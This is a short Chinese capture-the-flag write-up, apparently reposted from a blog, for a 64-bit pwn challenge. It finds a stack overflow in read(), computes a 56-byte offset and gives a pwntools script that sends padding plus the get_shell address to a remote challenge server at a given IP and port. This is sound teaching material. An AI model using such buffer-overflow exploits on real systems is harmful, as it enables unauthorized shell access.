pwn-pwn2

环境说明

Ubuntu 16.04

pwntool

IDA

gdb-peda

先丢到Ubuntu看看文件的类型  64位

 然后看看保护机制,发现没有保护机制

然后丢到IDA看看  F5查看伪代码

main函数后面还有一个get_shell的函数

 

在main函数中read存在栈溢出漏洞,我们可以填充一些无意义的字符,等到字符的缓冲区满了,函数要返回的时候,我们输入我们的get_shell函数的入口地址,那么系统就会执行我们的get_shell函数

问题在于我们要输入多少字符

双击read函数中间的&s

 我们可以算一下需要偏移距离 0x08-(0x30)=0x38个字符 也就是十进制的56,往read函数填充56个字符,在输入get_shell的地址,系统就会执行get_shell函数

那么get_shell函数的地址是多少

构造exp

from pwn import *
r=remote('114.116.54.89',10003) 
payload='a'*0x38+p64(0x400751)  
r.sendline(payload)
r.interactive()      

执行

猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/11644338.html
pwn